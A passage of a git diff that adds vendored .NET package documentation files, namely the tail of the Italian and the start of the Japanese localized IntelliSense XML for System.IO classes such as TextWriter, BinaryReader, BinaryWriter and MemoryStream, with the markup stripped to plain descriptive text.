sequenziale di caratteri.Questa classe è astratta. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il provider di formato specificato. + Oggetto che controlla la formattazione. + + + Archivia i caratteri di nuova riga usati per questo TextWriter. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Se sottoposto a override in una classe derivata, restituisce la codifica caratteri in cui viene scritto l'output. + Codifica caratteri in cui viene scritto l'output. + 1 + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il writer di testo viene eliminato. + Il writer è attualmente utilizzato da un'operazione di scrittura precedente. + + + Ottiene un oggetto che controlla la formattazione. + Oggetto per impostazioni cultura specifiche oppure la formattazione delle impostazioni cultura correnti se non sono specificate altre impostazioni cultura. + 2 + + + Recupera o imposta la stringa di terminazione di riga usata dall'oggetto TextWriter corrente. + Stringa di terminazione di riga relativa all'oggetto TextWriter corrente. + 2 + + + Fornisce un oggetto TextWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore Boolean. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nella stringa o flusso di testo. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri nella stringa o flusso di testo. + Matrice di caratteri da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri nel flusso o nella stringa di testo. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore decimale. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 8 byte. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte con segno. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte con segno. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un oggetto chiamando il metodo ToString su tale oggetto. + Oggetto da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 4 byte. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa nella stringa o nel flusso di testo. + Stringa da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + + o è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte senza segno. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte senza segno. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una matrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se è null, non viene scritta alcuna voce. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso o nella stringa di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore Boolean, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nella stringa o nel flusso di testo un carattere seguito da un terminatore di riga. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + Posizione del carattere in dalla quale avviare la lettura dei dati. + Numero massimo di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore decimale, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 8 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 4 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un oggetto chiamando il metodo ToString sull'oggetto, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Oggetto da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 4 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Stringa da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + Viene passato un oggetto o una stringa come null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive la rappresentazione in forma di testo di un intero a 4 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un terminatore di riga in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono un carattere seguito da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se la matrice di caratteri è null, viene scritto solo il terminatore di riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/ja/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/ja/System.IO.xml new file mode 100644 index 0000000..d62c1fb --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/ja/System.IO.xml @@ -0,0 +1,2264 @@ + + + + System.IO + + + + プリミティブ データ型を特定のエンコーディングのバイナリ値として読み取ります。 + 2 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + 使用する文字エンコーディング。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + は null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + または が null です。 + + + + の基になるストリームへのアクセスを公開します。 + BinaryReader に関連付けられた、基になるストリーム。 + 2 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 指定したバイト数分だけストリームから読み取ったバイトを内部バッファーに格納します。 + 読み取るバイト数。 + + 分のバイトを読み取る前にストリームの末尾に到達しました。 + I/O エラーが発生しました。 + 要求された が、内部バッファー サイズより大きくなっています。 + + + 読み取り可能な次の文字を返します。バイトの位置または文字の位置は変化しません。 + 使用できる次の文字。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 現在の文字は、ストリーム用に選択された を使用して内部文字バッファーにデコードできません。 + 2 + + + 基になるストリームから文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 入力ストリームの次の文字。現在読み取り可能な文字がない場合は -1。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + バイト配列内の指定された位置を開始点として、ストリームから指定されたバイト数を読み取ります。 + + に読み取るバイト数。要求したバイト数分のバイトを読み取れなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取るバイト数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 文字配列内の指定された位置を開始点として、ストリームから指定された文字数を読み取ります。 + バッファーに読み取られた合計文字数。要求した文字数分の文字を読み取れなかった場合、この値は要求した文字数より小さくなります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取る文字の数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 32 ビット整数を圧縮形式で読み取ります。 + 圧縮形式の 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + ストリームが破損しています。 + + + 現在のストリームから Boolean 値を読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 読み取ったバイトが 0 以外の場合は true。0 の場合は false。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから次のバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った次のバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから指定されたバイト数をバイト配列に読み取り、そのバイト数だけストリーム内の現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されているバイト配列。ストリームの末尾に到達した場合は要求したバイト数より小さくなることがあります。 + 読み取るバイト数。この値は 0 以上の数字の必要があり、それ以外の場合は例外が発生します。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + が負の値です。 + 2 + + + 現在のストリームの次の文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 現在のストリームから読み取った文字。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + サロゲート文字が読み取られました。 + 2 + + + 現在のストリームから指定された文字数を読み取り、そのデータを文字配列として返します。また、使用した Encoding とストリームから読み取った特定の文字に従って現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されている文字配列。ストリームの末尾に到達した場合は、要求された文字数より小さくなることがあります。 + 読み取る文字の数。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + + が負の値です。 + 2 + + + 現在のストリームから 10 進数値を読み取り、ストリームの現在位置を 16 バイトだけ進めます。 + 現在のストリームから読み取った 10 進数値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト浮動小数点値を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 2 バイト符号付き整数を読み取り、ストリームの現在位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号付き整数を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号付き整数を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから符号付きバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った符号付きバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト浮動小数点値を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 1 つの文字列を読み取ります。ストリームの文字列は、7 ビットごとにエンコードされた文字列の長さが先頭に付加されています。 + 読み取った文字列。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + リトル エンディアン エンコーディングを使用して現在のストリームから 2 バイト符号なし整数を読み取り、ストリームの位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号なし整数を読み取り、ストリームの位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号なし整数を読み取り、ストリームの位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号なし整数。 + ストリームの末尾に到達しました。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + プリミティブ型をバイナリでストリームに書き込みます。特定のエンコーディングの文字列の書き込みをサポートします。 + 2 + + + ストリームへの書き込みを行う クラスの新しいインスタンスを初期化します。 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + は null なので、 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + 使用する文字エンコーディング。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 出力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + + の基になるストリームを取得します。 + BinaryWriter に関連付けられた、基になるストリーム。 + 1 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + バッキング ストアを持たない を指定します。 + 1 + + + 基になるストリームを保持します。 + + + 現在のストリーム内の位置を設定します。 + 現在のストリームの位置。 + + からのバイト オフセット。 + 新しい位置を取得するための参照ポイントを示す フィールド。 + ファイル ポインターが無効な位置に移動しました。 + + 値が無効です。 + 1 + + + 現在のストリームに 1 バイト Boolean 値を書き込みます。値 0 は false を表し、値 1 は true を表します。 + 書き込む Boolean 値 (0 または 1)。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号なしバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号なしバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 基になるストリームにバイト配列を書き込みます。 + 書き込むデータが格納されているバイト配列。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は null なので、 + 1 + + + 現在のストリームにバイト配列の特定の領域を書き込みます。 + 書き込むデータが格納されているバイト配列。 + + 内の書き込み開始点。 + 書き込むバイト数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに Unicode 文字を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む非サロゲート Unicode 文字。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は、単一のサロゲート文字です。 + 1 + + + 現在のストリームに文字配列を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + は null なので、 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームに文字配列の特定の領域を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + 内の書き込み開始点。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 10 進数値を書き込み、ストリームの位置を 16 バイトだけ進めます。 + 書き込む 10 進値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト浮動小数点値を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号付き整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号付き整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号付き整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号付き整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号付きバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号付きバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト浮動小数点値を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト浮動小数点値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 文字長プリフィックスを持つ文字列を、 の現在のエンコーディングでこのストリームに書き込み、使用したエンコーディングとストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む値。 + I/O エラーが発生しました。 + + は null なので、 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 2 バイト符号なし整数を書き込み、ストリームの位置を 2 バイトだけ進めます。 + 書き込む 2 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 4 バイト符号なし整数を書き込み、ストリームの位置を 4 バイトだけ進めます。 + 書き込む 4 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト符号なし整数を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト符号なし整数。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 32 ビット整数を圧縮形式で書き込みます。 + 書き込む 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + ストリームが閉じられました。 + + + ストリームの末尾を越えて読み込もうとしたときにスローされる例外。 + 2 + + + メッセージ文字列がシステムによって提供されたメッセージに設定され、HRESULT が COR_E_ENDOFSTREAM に設定された クラスの新しいインスタンスを初期化します。 + + + メッセージ文字列を に設定し、HRESULT を COR_E_ENDOFSTREAM に設定して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + + + 指定したエラー メッセージと、この例外の原因である内部例外への参照を使用して、 クラスの新しいインスタンスを初期化します。 + エラーを説明する文字列。 の内容は、ユーザーが理解できる内容にします。このコンストラクターの呼び出し元では、この文字列が現在のシステムのカルチャに合わせてローカライズ済みであることを確認しておく必要があります。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + データ ストリームが無効な形式である場合にスローされる例外。 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定したエラー メッセージを使用して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + + + この例外の原因である内部例外への参照を指定して、 クラスの新しいインスタンスを初期化します。 + 例外の原因を説明するエラー メッセージ。 + 現在の例外の原因である例外。 パラメーターが null でない場合は、内部例外を処理する catch ブロックで現在の例外が発生します。 + + + バッキング ストアとしてメモリを使用するストリームを作成します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを、0 に初期化される拡張可能な容量を使用して 初期化します。 + + + 指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + 現在のストリームを作成する符号なしバイトの配列。 + + は null です。 + + + + プロパティを指定どおりに設定し、指定したバイト配列に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + + バイト配列の指定した領域 (インデックス) に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + + は null です。 + + または が 0 未満です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、バイト配列の指定した領域に基づいて、サイズを変更できない クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + + は null です。 + + または が負の値です。 + バッファー長から 